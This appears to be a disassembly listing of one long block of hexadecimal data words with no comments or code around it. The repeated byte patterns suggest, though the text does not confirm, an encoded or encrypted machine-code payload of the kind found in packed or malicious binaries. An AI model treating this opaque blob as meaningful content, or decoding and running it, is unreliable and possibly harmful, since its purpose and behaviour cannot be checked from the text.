		dd 4781D511h, 0D45AD190h, 0D4D1D0D5h, 0B9D1D3D5h, 0C9917575h
		dd 80841218h, 0D9D9945Ah, 0DD398191h, 0F95A8191h, 912E2E2Eh
		dd 0DE2D9458h, 0D954D16Fh, 0D9398191h, 0DD398191h, 25A8191h
		dd 912E2E2Fh, 0DE2D9458h, 3A54D16Fh, 18945A34h,	525A8412h
		dd 0D087F93Dh, 0D1D1D1D1h, 0A531B452h, 3A945ADFh, 91945AD6h
		dd 0EA3D9458h, 0DEDE0994h, 0D181D16Fh, 915AD63Ah, 0DE0D9458h
		dd 54D4956Fh, 0DEC9A511h, 0E8D4956Fh, 52A42994h, 9958DB11h
		dd 0DEC1BB81h, 0D221947Eh, 389C5819h, 8E2E2E89h, 0B512188Fh
		dd 1039D1D1h, 5487D1D1h, 0ED2E2F89h, 0FAD1D110h, 0ABD1D110h
		dd 0FBC9A42Eh, 0DDD1D110h, 4C2A9416h, 0CFD1D161h, 0D55AD1D1h
		dd 2CE4A4D1h, 2F812E2Eh, 0DD812E2Eh, 39E5545Ch,	0D1D1FDF7h
		dd 2AD1D1D3h, 5C812E2Eh, 0F72F8D54h, 0DDD1D1FBh, 5ECC2038h
		dd 0DD2E2E1Dh, 0D5CC6D38h, 5155DED1h, 12D1D1D0h, 0DD2E2E1Fh
		dd 4FB9545Ch, 0C5D1D16Eh, 67D1D113h, 982E2E1Dh,	0D5D1D16Eh
		dd 2B282688h, 2	dup(2B812E2Eh),	0DD812E2Eh, 5C39545Ch
		dd 6F2F8D54h, 0DDD1D1F9h, 0D5CD5838h, 1955DED1h, 8DD1D1EEh
		dd 29D1D16Fh, 295A2E2Eh, 0D5482E2Eh, 29282688h,	0F1FA2E2Eh
		dd 78D5915Ah, 0D7D1D1EDh, 3CD1D192h, 5CD1D190h
		dd 122F8D54h, 0DDD1D1F6h, 49CA5F38h, 3D2E2E69h,	0D32E2E67h
		dd 2452D1D1h, 4C192E2Eh, 1B5CD190h, 0BBD1D186h,	2E545CD1h
		dd 9AA1D9C4h, 0F5D1D186h, 0B4D1D186h, 27D1D186h, 0D1812E2Eh
		dd 645CD1BBh, 302E27D9h, 6BD1D187h, 0FD1D187h, 24D1D187h
		dd 24DF2E2Eh, 24992E2Eh, 24522E2Eh, 24D12E2Eh, 0C9DE2E2Eh
		dd 24282688h, 0C9592E2Eh, 13282688h, 0D4D1D184h, 26DD545Ch
		dd 2 dup(26812E2Eh), 0DD812E2Eh, 265CD4BBh, 0DD812E2Eh
		dd 265CD4BBh, 0DD812E2Eh, 5CF9545Ch, 402F8D54h,	0DDD1D1F5h
		dd 54C98D38h, 2DD1D1BDh, 8ED1D1A3h, 31D1D1BDh, 0A2D1D1A3h
		dd 0D9D1D14Ch, 4C5D6F88h, 4C3AD190h, 245AD190h,	0D05C2E2Eh
		dd 24D1D185h, 6F2E2E2Eh, 2F0B29D4h, 0C9812E2Eh,	0BD75545Ch
		dd 6ED1D182h, 0C92E2E7Ah, 0CDC75538h, 2FD51152h, 0DD812E2Eh
		dd 0D1C79C38h, 0E289545Ah, 0DD2E2EAEh, 7AC40C38h, 0DD2E2EA3h
		dd 0BDC47938h, 0C12E2E60h, 5BC4BC38h, 0DDD1D163h, 0D5C4E938h
		dd 0D1D4A4D1h, 0E4F1945Ah, 0DD2E2EB2h, 0D0C54438h, 0D5F1945Ah
		dd 0DD2E2EB2h, 0F3C5B538h, 0C92E2E36h, 9DD19021h, 0EED1904Dh
		dd 0DDD1D1F1h, 69C5DB38h, 0C0D1D15Bh, 0C9D1D154h, 64C2BA38h
		dd 0D5D1D15Ah, 2EFEA5D1h, 4115522Eh, 0C9D1D15Eh, 0D5C34B38h
		dd 0DDD4A4D1h, 1549642Eh, 0EED1904Ah, 0DDD1D1CFh, 5249642Eh
		dd 0D1D1D19Ch, 34D1D1C1h, 5C812E2Eh, 672F8D54h,	0DDD1D1CCh
		dd 0D5C05038h, 59D4A4D1h, 0E1D1904Ah, 0DDD1D1CCh, 0D545642Eh
		dd 0C9CAA4D1h, 0B5D19021h, 39D1904Ah, 0DDD1D1CDh, 0F45AC33Ah
		dd 0DF2E2E56h, 142E2E7Fh, 0F4D1D1A4h, 0C52E2E39h, 86DE5938h
		dd 0DD2E2E3Ah, 2DDE8238h, 39D1903Ah, 0D5D1904Bh, 0D9D4A4D1h
		dd 0C9DFA5D1h, 1D1903Fh, 0DDD1904Bh, 0D5DF4838h, 0D9D4A4D1h
		dd 0DDDFA5D1h, 0D5DFE638h, 2 dup(0D5D4A4D1h), 0D9D8A5D1h
		dd 0D5D4A4D1h, 0D9D8A5D1h, 2 dup(0D5D4A4D1h), 4BEFA4D1h
		dd 0B13AD190h, 12D1904Bh, 0DDD1D1C9h, 0A9DD5F38h, 0FBD1904Bh
		dd 0D5D1D170h, 0EDD4A4D1h, 0D5D19057h, 0A1D1D1D0h, 0BB81D190h
		dd 0F9C42ED1h, 0D5D19057h, 0FFD4A4D1h, 0C1D1D1C6h, 2BDB2838h
		dd 0DF2E2E8Fh, 0A5D1D1C1h, 0DDD19048h, 0D5DBC438h, 94DBA4D1h
		dd 55A12ECDh, 0D52E2E75h, 489AA4D3h, 645CD190h,	952E4DD9h
		dd 8CD19048h, 0C1D1D1C4h, 0D5D17238h, 4899A4C6h, 645CD190h
		dd 0F12E4DD5h, 0D7D19048h, 0C1D1D1C4h, 485A9E3Ah, 555CD190h
		dd 3D2E2E75h, 64D19049h, 0C5D1D1C5h, 0BFD239B9h, 0DDD1D1C5h
		dd 0D5D9E838h, 94DBA4D1h, 4DA12ECDh, 4A812E2Eh,	4A3A2E2Eh
		dd 64B92E2Eh, 792E4A2Dh, 4FD19049h, 0C1D1D1C2h,	0A2D6B838h
		dd 0DDD1D1C2h, 0D5D6EF38h, 0D5C0A5D1h, 0DD4941B9h, 4DDE1154h
		dd 4D5A2E2Eh, 4D512E2Eh, 4D5A2E2Eh, 4D512E2Eh, 4B512E2Eh
		dd 5D2E2E34h, 0AF2E2E34h, 0A12E2E34h, 382E2E34h, 0CDD1D1C0h
		dd 1C5ACB3Ah, 0DDD1D1C0h, 76D44938h, 7F58D1D1h,	0DDD1D176h
		dd 0D05416B7h, 0D591DA39h, 0D139D1BBh, 0C1BBD3BBh, 649D545Ch
		dd 642E4D99h, 462E4D99h, 0DDD1D1C1h, 0D9D5B338h, 66D1900Ch
		dd 0D1D1D1D2h, 994639B9h, 0C5D1D1C1h, 5CD5C238h, 0C1D1D1ACh
		dd 85D20938h, 4F2E2E13h, 0D02E2E19h, 8D464DB9h,	9CD1905Ah
		dd 0DDD1D1DEh, 7C956C52h, 0D52E2E1Ah, 4AC5A5D1h, 4A3A2E2Eh
		dd 2E582E2Eh, 5154582Eh, 51D1D080h, 0C1D1D080h,	51D1D1DFh
		dd 0C1D1D080h, 0EDD1D1DFh, 51202688h, 51D1D080h, 0C1D1D080h
		dd 51D1D1DFh, 0C1D1D080h, 0EDD1D1DFh, 40202688h, 4A52D190h
		dd 40252E2Eh, 4A52D190h, 40252E2Eh, 4A52D190h, 4A252E2Eh
		dd 2 dup(4A2E2E2Eh), 0D92E2E2Eh, 7FD19046h, 0E9D1D1DDh
		dd 0D55AAD3Ah, 0D9D8A5D1h, 0DDD3A4D1h, 0E5A41154h, 0F6D1D1D4h
		dd 28D1D1D2h, 0DDD1D170h, 5CD9A42Eh, 6E2B0154h,	0DD2E2E66h
		dd 2C2D5458h, 2CD12E2Eh, 2CDE2E2Eh, 2C912E2Eh, 2C3A2E2Eh
		dd 0F95C2E2Eh, 0D1D1904Eh, 5D1D1D3h, 0C5D1D170h, 0FED1545Ch
		dd 0BBD1D1CDh, 0DDEE39D1h, 2C255458h, 2C582E2Eh, 2B382E2Eh
		dd 7B392E2Eh, 0DD2E2E7Eh, 0BCBBD0BBh, 0DD2E2E60h, 5C29945Ch
		dd 0B42FA154h, 0DD2E2E67h, 0D12D9458h, 0DE38D4A4h, 9152D16Fh
		dd 2F2D9458h, 4D812E2Eh, 39D1904Eh, 8CD171AFh, 9BD1D171h
		dd 81D1D171h, 45D1905Eh, 51D1904Eh, 0B9D1D080h,	95D1D172h
		dd 0B1D1D172h, 81D1904Eh, 39D1905Eh, 45D1D173h,	1CD1904Eh
		dd 51D1D173h, 4CD1D080h, 0A6D1D173h, 82D1D173h,	0FED1D173h
		dd 0B1D1D173h, 0DAD1904Eh, 31D1D173h, 65D1D170h, 59D1D170h
		dd 81D1D170h, 8DD1904Eh, 0B9D1D170h, 0E2D19048h, 0DBD1D170h
		dd 0DDD1D170h, 58259458h, 2E382D94h, 2A945A2Eh,	52882E2Eh
		dd 51D12DACh, 52D1D1D0h, 0DD81D511h, 0D4D9A42Eh, 0EDD1D055h
		dd 0C5D19118h, 70841218h, 0B9903BA5h, 0D1D19038h, 915AD63Ah
		dd 0BA2D9458h, 0A52DD11h, 58D1D190h, 115A2984h,	0E4612EDDh
		dd 3988D1D1h, 2FD19036h, 0FA812E2Eh, 0DD2E2E47h, 39D46FDEh
		dd 0C5D19036h, 0AAD19071h, 39D1D14Bh, 2FD14BB7h, 2F812E2Eh
		dd 0C9812E2Eh, 2FD19020h, 2F812E2Eh, 0D1812E2Eh, 0C5D19071h
		dd 0B9DDAC52h, 0D4904ED5h, 5188D1D1h, 2FD1D080h, 2F522E2Eh
		dd 75D52E2Eh, 572E2E60h, 2CD1D148h, 4E292E2Eh, 0D050D190h
		dd 2CA2D1D1h, 2C212E2Eh, 2CD12E2Eh, 0C4222E2Eh,	2C90A1E1h
		dd 8BD42E2Eh, 903990BBh, 64E0A139h, 8C2E2C0Dh, 8AA9642Eh
		dd 905C8CBBh, 43945CD1h, 0E5D1D149h, 0D9D46FDEh, 59D1900Dh
		dd 90D1900Ah, 901154D1h, 0DCC9B9D1h, 39D1D149h,	39D1D2ABh
		dd 0DDD14608h, 0B1A5E42Eh, 0B9D1D13Bh, 0B9D19038h, 0C1D1903Bh
		dd 0D0D1D1F6h, 0C13BB9B9h, 0D13BA572h, 0DDBBD1BBh, 512DA42Eh
		dd 0D4D1751Ah, 38D13BB1h, 0C12E2EA1h, 0CC39D1D1h, 0DDD1D146h
		dd 2E299458h, 5569DDA4h, 0C1D1D148h, 3D2DB452h,	7FD1D147h
		dd 0E4D1D147h, 0DD903BA5h, 69841218h, 3ED1C1D9h, 0DD812E2Eh
		dd 2E295458h, 2969DDA4h, 212E2E3Eh, 0C1D1D149h,	3E2DB452h
		dd 0CB812E2Eh, 0E4D1D147h, 0DD903BA5h, 69841218h, 0D0D1C1D9h
		dd 5C52D1D1h, 63E2954h,	0DDD1D144h, 0D0299458h,	5CD3D1D1h
		dd 7A3E2954h, 0DDD1D144h, 0D0299458h, 5CD2D1D1h, 0AE3E2954h
		dd 0DDD1D144h, 5C299458h, 8E3E2954h, 0DDD1D144h, 0E7299458h
		dd 2ED1D144h, 5E2E2DA4h, 0C1D1D146h, 0E2DB452h,	1DD1D145h
		dd 5FD1D145h, 0E4D1D145h, 2E903BA5h, 3E2E2DA4h,	0C1812E2Eh
		dd 3E2DB452h, 0F4812E2Eh, 0E4D1D145h, 0DD903BA5h, 80841218h
		dd 71B9D1BBh, 5A2ED190h, 52182D94h, 0B9D12DACh,	0D1D19071h
		dd 0D1D1D1C1h, 2EBBD5BBh, 392ED9A4h, 2ED14262h,	2 dup(2EA03DC4h)
		dd 0D1A169C4h, 915AD63Ah, 0EA2D9458h, 0DEAC2994h, 5952D16Fh
		dd 0DEEE3AD0h, 5952D16Fh, 8BC23AD0h, 593990BBh,	395C3AD0h
		dd 0D1D1D1D6h, 0D19DB9D1h, 0CD945AD1h, 0A6D8A5D1h, 0B5D1D140h
		dd 0AAD1D140h, 0DDD1D140h, 19BA5416h, 5C2E2E2Ch, 0C12C6954h
		dd 0C9D1D140h, 0C5C5945Ah, 0ABC5A12Eh, 0C92E2E9Bh, 0E9DA4538h
		dd 0FDD19070h, 0D9D19070h, 66D1900Ch, 0D1D1D1D2h, 0C570D9B9h
		dd 0DDB9C43Ah, 31DAFB38h, 9D19071h, 51D19071h, 2ED1D080h
		dd 2E39812Eh, 2E67392Eh, 2E4E292Eh, 0D04E252Eh,	2EA2D1D1h
		dd 2E4E212Eh, 2E16D12Eh, 0F5D1452Eh, 2E11E288h,	8B2E812Eh
		dd 903990BBh, 2EF65D39h, 64DED12Eh, 2E2E2D49h, 8A8CBB2Eh
		dd 8A5C8CBBh, 7A4E09B9h, 0E5D1D15Fh, 0AB9FC3Ah,	0F55CD190h
		dd 0D0D1D1F8h
		dd 392E2E2Ah, 432E2804h, 0D188D1D1h, 0DD39D1BBh, 15D92138h
		dd 0C9D19071h, 65D1903Eh, 42D19071h, 0DDD1D15Ch, 399D545Ch
		dd 39D15CB0h, 12E290Eh,	0DDD1904Bh, 0C5A1545Ch,	542E2E20h
		dd 392E2EB7h, 0C92E295Dh, 39D19021h, 0D12E29B3h, 5D39D0BBh
		dd 39D19071h, 0DD2E4A8Ah, 999D545Ch, 0D12E2E2Bh, 392E2EB6h
		dd 0DD2E4AF1h, 55D70638h, 0C9D19071h, 51D1903Eh, 0C1D19071h
		dd 0C5DFA5D1h, 21F1A5D1h, 5AD1D15Bh, 0DD5AC994h, 19915458h
		dd 0C5D1D15Bh, 0F295545Ch, 0BBD1D1D4h, 0DDE239D1h, 5AE95458h
		dd 0C929E554h, 0D1D1903Eh, 0CC55945Ch, 0DDD1D159h, 2EC9945Ah
		dd 56522E2Eh, 2E88D1D1h, 3 dup(2ED22E2Eh), 39D22E2Eh, 51D1571Bh
		dd 0C9D1D0F5h, 0C5D1903Eh, 81DD1152h, 15AD642Eh, 0CD522E2Eh
		dd 0D1D0D338h, 0CF51D1D1h, 0C5E2D1D1h, 81C11152h, 0CDAD642Eh
		dd 0D112188Eh, 3F4A39D1h, 3E812E2Eh, 0C5812E2Eh, 2E7141B9h
		dd 0A5A5D12Eh, 3FD19071h, 3FD12E2Eh, 3 dup(3FDE2E2Eh)
		dd 0AD912E2Eh, 3FD1D1D4h, 15912E2Eh, 412E2E3Fh,	3FD1D1D3h
		dd 3D912E2Eh, 3FD1D1D9h, 3912E2Eh, 3FD1D1D6h, 3F812E2Eh
		dd 0C5392E2Eh, 2E70ADB9h, 3FF8392Eh, 3FD12E2Eh,	3F912E2Eh
		dd 3F5A2E2Eh, 5A522E2Eh, 3F3FBD54h, 2E2E2E2Eh, 0D081912Eh
		dd 3FD1D1D1h, 0D02E2E2Eh, 2ED1D1D1h, 2E54D22Eh,	2ED02E2Eh
		dd 2ED12E2Eh, 2	dup(2E54D22Eh),	3F54D22Eh, 2E812E2Eh, 39812E2Eh
		dd 0C52E3EE2h, 80841218h, 5A945A80h, 2E582D94h,	913929A4h
		dd 0D12D9458h, 91D1D1D0h, 912D9458h, 0DE5AC4A2h, 595D5167h
		dd 0DD3B5159h, 52D9A42Eh, 0D0D325ACh, 91115489h, 592D9458h
		dd 0A23A2E90h, 5B945AF8h, 59DB2E98h, 913A2E99h,	592D9458h
		dd 0A23A2E90h, 5B945AF8h, 59DB2E98h, 5A3A2E99h,	59912994h
		dd 0A23A2E90h, 5B945AF2h, 99DB2E98h, 52841218h,	5B51DD3Dh
		dd 91705D51h, 5A259458h, 5B912994h, 91705D51h, 5A259458h
		dd 5BD2D99Ch, 91705D51h, 5A259458h, 5B912994h, 91705D51h
		dd 5B259458h, 91705D51h, 5B259458h, 91705D51h, 51259458h
		dd 185AD1F1h, 805A8412h, 0D1A42E80h, 915AD63Ah,	0EA2D9458h
		dd 0DEAC2994h, 0DEDED16Fh, 0D052D16Fh, 89121889h, 9D868782h
		dd 0DDD1D1D5h, 3979945Ch, 82D1D481h, 185A8687h,	0DDD1D1D2h
		dd 3979945Ch, 80D1D51Ch, 912DB452h, 0EA2D9458h,	5BDEDD94h
		dd 59E2FDD1h, 48945AD0h, 0C188C1BBh, 5A282688h,	595BC19Ch
		dd 48945AD0h, 5B88C1BBh, 5919E3D8h, 5B945AD9h, 5913E3D1h
		dd 5B945AD0h, 59D0D5D1h, 918738D0h, 0EA2D9458h,	5BDEDD94h
		dd 59D0FDD1h, 5B945AD0h, 5913E3D1h, 48945AD0h, 5B88C1BBh
		dd 5919E3D8h, 48945AD9h, 0C188C1BBh, 5A282688h,	595BC19Ch
		dd 5B945AD0h, 59E2D5D1h, 498738D0h, 0DDD1903Ah,	0B984128Ch
		dd 0DD903A49h, 8084128Ch, 0DDA42E80h, 5AC57B39h, 5A52D994h
		dd 0D0D2D99Ch, 0D22DA42Eh, 3A582994h, 5A945A60h, 0D0D2D99Ch
		dd 0D22DA42Eh, 3A582994h, 58945A62h, 5A5A2D99h,	0D952DD94h
		dd 0A4D51152h, 0DD4E39D9h, 0BBDD945Ah, 39A42ED0h, 5AD1ACB4h
		dd 5AD2D99Ch, 0FAD2D99Ch, 0BB582994h, 39A42ED0h, 5AD1ACDEh
		dd 5AD2D99Ch, 6BD2D99Ch, 0A2945A49h, 10945ADCh,	5252D239h
		dd 5AD12DACh, 585A2D94h, 0A25A2D94h, 0DDA42EC7h, 2ED15538h
		dd 0A42EDDA4h, 581739D9h, 0CE52C194h, 0DDD1D1A8h, 38DDA42Eh
		dd 0DDD1D1A9h, 80841218h, 5A945A80h, 91172D94h,	0EE2D9458h
		dd 0D194FA89h, 0DD2DA42Eh, 0A4DD945Ah, 5FD539DDh, 0DDD1D1A9h
		dd 395AC53Ah, 0DDD1A9A9h, 0E4811152h, 0DDD1D1D1h, 0A4DD945Ah
		dd 0DD6339DDh, 0DDBBD5BBh, 80841218h, 0D1B45280h, 5A29B452h
		dd 5A522994h, 2	dup(5A5ADD9Ch),	815ADD9Ch, 0B32E91BBh
		dd 0DDD1D1DFh, 5AD9945Ah, 2 dup(5A5AD994h), 5C26299Ch
		dd 5AA9D055h, 10102D94h, 5ADAC838h, 5AD22D94h, 26F22D94h
		dd 0DA9CF200h, 5894D210h, 5A5A2194h, 2526219Ch,	5AD0555Ch
		dd 10102594h, 5ADADE38h, 5AD22594h, 26F22594h, 0DA9CF200h
		dd 5894D210h, 5A5A2994h, 5C26299Ch, 107ED055h, 105AD631h
		dd 5ADAC838h, 5AD22D94h, 26F22D94h, 0DA9CF200h,	5A94D210h
		dd 585C219Ch, 5A5A2194h, 5C26219Ch, 5AC2D055h, 10102594h
		dd 5ADADE38h, 5AD22594h, 26F22594h, 0DA9CF200h,	5A94D210h
		dd 585C299Ch, 5A5A2994h, 5C26299Ch, 5809D055h, 105A2D94h
		dd 105AD631h, 5ADAC838h, 5AD22D94h, 26F22D94h, 0DA9CF200h
		dd 5A94D210h, 585C219Ch, 5A5A2194h, 5C26219Ch, 5A60D055h
		dd 10102594h, 5ADADE38h, 5AD22594h, 26F22594h, 0DA9CF200h
		dd 5A94D210h, 585C299Ch, 5A5A2994h, 5C26299Ch, 5AF3D055h
		dd 10102D94h, 5ADAC838h, 5AD22D94h, 26F22D94h, 0DA9CF200h
		dd 5A94D210h, 585C219Ch, 5A5A2194h, 5C26219Ch, 5A5FD055h
		dd 10102594h, 5ADADE38h, 5AD22594h, 26F22594h, 0DA9CF200h
		dd 5A94D210h, 585C299Ch, 0DA5A2994h, 5C94D210h,	5AB3D055h
		dd 10102D94h, 5ADACA38h, 5AD22D94h, 5AF22594h, 5826259Ch
		dd 0DA5A2194h, 5A94D210h, 5A5C259Ch, 10102594h,	5ADAC338h
		dd 5AD22594h, 5AF22D94h, 58262D9Ch, 0DA5A2994h,	5A94D210h
		dd 5A5C2D9Ch, 10102D94h, 5ADACA38h, 5AD22D94h, 5AF22594h
		dd 5826259Ch, 0DA5A2194h, 5A94D210h, 5A5C259Ch,	10102594h
		dd 5ADAC338h, 5AD22594h, 5AF22D94h, 58262D9Ch, 0DA5A2994h
		dd 5A94D210h, 5A5C2D9Ch, 10102D94h, 5ADACA38h, 5AD22D94h
		dd 5AF22594h, 5826259Ch, 0DA5A2194h, 5C94D210h,	1056D055h
		dd 105ADF31h, 5ADAC338h, 5AD22594h, 5AF22D94h, 58262D9Ch
		dd 0DA5A2994h, 5A94D210h, 5A5C2D9Ch, 10102D94h,	5ADACA38h
		dd 5AD22D94h, 5AF22594h, 2126259Ch, 58D0555Ch, 585A2194h
		dd 0DA5A2194h, 5A94D210h, 105C259Ch, 105ADF31h,	5ADAC338h
		dd 5AD22594h, 5AF22D94h, 58262D9Ch, 0E25A2994h,	5AD22194h
		dd 5A5C2D9Ch, 10102D94h, 5ADACD38h, 5AD22D94h, 0D2E22D94h
		dd 585A0194h, 0E25A2194h, 5AD22994h, 585C259Ch,	105A2594h
		dd 105AC131h, 5ADAC138h, 5AD22594h, 0D2E22594h,	585A3994h
		dd 0E25A2994h, 5CD22194h, 5A95D055h, 10102D94h,	5ADACD38h
		dd 5AD22D94h, 0D2E22D94h, 585A1194h, 0E25A2194h, 5AD22994h
		dd 5A5C259Ch, 10102594h, 5ADAC138h, 5AD22594h, 0D2E22594h
		dd 585A0994h, 0E25A2994h, 5AD22194h, 5A5C2D9Ch,	10102D94h
		dd 5ADACD38h, 5AD22D94h, 0D2E22D94h, 585A6194h,	0E25A2194h
		dd 5CD22994h, 5854D055h, 105A2594h, 105AC131h, 5ADAC138h
		dd 5AD22594h, 0D2E22594h, 585A1994h, 0E25A2994h, 5AD22194h
		dd 105C2D9Ch, 105AD531h, 5ADACD38h, 5AD22D94h, 0D2E22D94h
		dd 585A3194h, 0E25A2194h, 5AD22994h, 5A5C259Ch,	10102594h
		dd 5ADAC138h, 5AD22594h, 0D2E22594h, 585A6994h,	0E25A2994h
		dd 5C94D210h, 5895D055h, 105A2D94h, 105AD731h, 5ADACB38h
		dd 5AD22D94h, 0DA262594h, 5A945A19h, 585C219Ch,	0E25A2194h
		dd 5C94D210h, 5A76D055h, 10102594h, 5ADAC038h, 5AD22594h
		dd 0DA262D94h, 5A945A19h, 585C299Ch, 585A2994h,	0E25A2994h
		dd 5C94D210h, 1012D055h, 105AD731h, 5ADACB38h, 5AD22D94h
		dd 0DA262594h, 0DD945A19h, 5894585Eh, 0E25A2194h, 5C94D210h
		dd 3EACD055h, 5A94582Eh, 10102594h, 5ADAC038h, 5AD22594h
		dd 0DA262D94h, 58945A19h, 0E25A2994h, 5C94D210h, 5A9ED055h
		dd 10102D94h, 5ADACB38h, 5AD22D94h, 0DA262594h,	5A945A19h
		dd 585C219Ch, 0E25A2194h, 5C94D210h, 5AC5D055h,	10102594h
		dd 5ADAC038h, 5AD22594h, 0DA262D94h, 5A945A19h,	585C299Ch
		dd 0E25A2994h, 5C94D210h, 5A53D055h, 10102D94h,	5ADACB38h
		dd 5AD22D94h, 0DA262594h, 5A945A19h, 585C219Ch,	0E25A2194h
		dd 2594D210h, 5AD0555Ch, 10102594h, 5ADAC038h, 5AD22594h
		dd 0DA262D94h, 5A945A19h, 585C299Ch, 5A5A2994h,	9158D99Ch
		dd 5A2D9458h, 0D158D984h, 0D0D1D1B9h, 0C4BBD1BBh, 0D590A1F5h
		dd 2E2DA42Eh, 0D5A1F1C4h, 2E2DA42Eh, 5AA1F1C4h,	82212D94h
		dd 82398687h, 80398687h, 52DDAC52h, 58D2DDACh, 52945AD0h
		dd 5A58D511h, 5A52DD94h, 52582D94h, 99D12DACh, 92D9458h
		dd 0DD2E2E3Ah, 3979945Ch, 0C12E3D0Dh, 80DC7D88h, 91D9945Ah
		dd 0DE2D9458h, 0C154D16Fh, 5B282688h, 5953E3D1h, 911A3AD0h
		dd 0DE2D9458h, 0C154D16Fh, 5B282688h, 5953E3D1h, 0BB1A3AD0h
		dd 99D1D1B4h, 0DD7661B9h, 2E3BB1B9h, 795A812Eh,	0D1D19076h
		dd 0D7D1D1D3h, 0F1D1D1CEh, 2E415458h, 2E6C522Eh, 2EA4D12Eh
		dd 2E3AD12Eh, 2E58912Eh, 2E6C502Eh, 0ABD0B92Eh,	2E39B0BBh
		dd 0C255592Eh, 0DDD1D1B5h, 2CB9D3BBh, 0DDD1D1B2h, 36B9D5BBh
		dd 0DDD1D1B2h, 79B9D3BBh, 5CD190h, 0DDD1D1B2h, 79B9D5BBh
		dd 6A5CD190h, 0DDD1D1B2h, 74B9DABBh, 0DDD1D1B2h, 2ED23769h
		dd 2C54582Eh, 2E522E2Eh, 2DBBD12Eh, 2ED19076h, 2E555C2Eh
		dd 0DD39812Eh, 2E59545Ah, 2E11522Eh, 0C995BB2Eh, 2ED19079h
		dd 2E555C2Eh, 2E39812Eh, 2E11522Eh, 41F1BB2Eh, 2E59545Ah
		dd 2E555C2Eh, 0DD39812Eh, 2E59545Ah, 2E11522Eh,	7DD5BB2Eh
		dd 2ED19079h, 2E555C2Eh, 2E39812Eh, 2E11522Eh, 31D5BB2Eh
		dd 2ED19079h, 2E555C2Eh, 2E39812Eh, 2E11522Eh, 9D5BB2Eh
		dd 2ED19079h, 2E555C2Eh, 2E39812Eh, 2E11522Eh, 0DD5BB2Eh
		dd 2ED19079h, 2E555C2Eh, 0B339812Eh, 0DD52D1D1h, 2E59545Ah
		dd 2E11522Eh, 4189BB2Eh, 2E59545Ah, 2E555C2Eh, 2E39812Eh
		dd 2E11522Eh, 65D7BB2Eh, 2ED19079h, 2E555C2Eh, 0DD39812Eh
		dd 2E59545Ah, 2E11522Eh, 41D9BB2Eh, 2E59545Ah, 2E555C2Eh
		dd 0DD39812Eh, 2E59545Ah, 2E11522Eh, 6DD5BB2Eh,	2ED19079h
		dd 2E555C2Eh, 2E39812Eh, 2E11522Eh, 41D5BB2Eh, 2E59545Ah
		dd 2E555C2Eh, 2E39812Eh, 2E11522Eh, 15D7BB2Eh, 2ED19079h
		dd 2E555C2Eh, 0B039812Eh, 0DD52D1D1h, 2E59545Ah, 2E11522Eh
		dd 2C642E2Eh, 2EBB2E2Eh, 2E555C2Eh, 2E39812Eh, 2C54D22Eh
		dd 2E582E2Eh, 2E642E2Eh, 59545C2Eh, 2E2E2E35h, 2E39812Eh
		dd 2E54D22Eh, 2E54582Eh, 2EB9B92Eh, 2E5A812Eh, 2E555C2Eh
		dd 2E39812Eh, 2EB9D42Eh, 1DDBBB2Eh, 2ED19079h, 2E555C2Eh
		dd 0DD39812Eh, 2E59545Ah, 2E11522Eh, 0B1E3BB2Eh, 2ED19079h
		dd 2E555C2Eh, 2E39812Eh, 2E11522Eh, 2E545A2Eh, 2E54582Eh
		dd 2E545A2Eh, 2E39522Eh, 2E642E2Eh, 2E545C2Eh, 0DD5A812Eh
		dd 0D13BB1B9h, 2EC1D1B9h, 0B05A812Eh, 0D6D1D1B1h, 0D17679B9h
		dd 2CD1D1D3h, 0F1812E2Eh, 2C255458h, 58D12E2Eh,	81D1D1D1h
		dd 0DDD1907Eh, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh, 0D2A41154h
		dd 0DB9D1D1h, 0DDD1907Eh, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh
		dd 59A41154h, 0DDD19061h, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh
		dd 0BBA41154h, 0DDB9B9EFh, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh
		dd 0DDA41154h, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh, 71A41154h
		dd 0DDD1D1D1h, 0DDD19063h, 0D1F6C1B9h, 26D1D1D7h, 0C1812E2Eh
		dd 52A41154h, 57DED029h, 61D1D1D1h, 2ED19063h, 2C39812Eh
		dd 2C5C2E2Eh, 6C812E2Eh, 0DDD1D18Ch, 2C69D1BBh,	75522E2Eh
		dd 0DDD1D1D0h, 0DDB9D5BBh, 0BBB9D5BBh, 0DDD1D18Ch, 85B9D5BBh
		dd 0DDD1D18Ch, 0EFB9D5BBh, 0DDD1D18Ch, 0F9B9F1BBh, 0DDD1D18Ch
		dd 2ED2BBB9h, 0DD5A812Eh, 2ED5D1B9h, 0DD5A812Eh, 54D13C38h
		dd 57C1A511h, 8DD1D1D1h, 76D19062h, 0DDD1D18Dh,	2CD23969h
		dd 41812E2Eh, 4ED1D1D1h, 0DDD1D18Dh, 2C25642Eh,	2E812E2Eh
		dd 2C54FA2Eh, 2E812E2Eh, 2E3AD12Eh, 2E58912Eh, 2E6C522Eh
		dd 0D5ACC12Eh, 2E65D9B9h, 2E555C2Eh, 2E39812Eh,	1F39812Eh
		dd 0D9D1D1D5h, 0DDEFA12Eh, 52841218h, 9152C13Dh, 0EA2D9458h
		dd 0F1A2DD94h, 2539D1BBh, 5B882E2Eh, 2E6AD151h,	1188882Eh
		dd 0EA9C5AD4h, 0F1A2DD94h, 0DE39D1BBh, 1121946Fh, 5B9C5AD4h
		dd 916AD151h, 0D1259458h, 0C1DDA42Eh, 2C2D5458h, 2CD12E2Eh
		dd 0A92E2E2Eh, 2DD19052h, 0D1D1903Ah, 0D0D1D1D3h, 19D1545Ch
		dd 0C1D1D18Bh, 2C255458h, 645C2E2Eh, 0DD2E2C2Dh, 2C215458h
		dd 2CEA2E2Eh, 2C392E2Eh, 50392E2Eh, 2FD4893Dh, 9BB92E2Eh
		dd 0DDD1D18Bh, 1C39545Ch, 64D1D188h, 0DD2E2F25h, 2F0ED171h
		dd 2FBB2E2Eh, 2FE22E2Eh, 0D6392E2Eh, 2FB9D1D1h,	0DD392E2Eh
		dd 5C315458h, 0D62D3954h, 0DD2E2EBEh, 0BB095458h, 2E3139D1h
		dd 2B15522Eh, 2B522E2Eh, 2BD12E2Eh, 0BBD12E2Eh,	2E6039D1h
		dd 2B15522Eh, 2B5A2E2Eh, 0D0FA2E2Eh, 49D1D1D1h,	0D1D19017h
		dd 0DD1D1D3h, 0DDD1D189h, 8E39545Ch, 64D1D189h,	0DD2E2F25h
		dd 2B2F1E38h, 55FA2E2Eh, 0D1D19017h, 0ADD1D1D3h, 0DDD1D189h
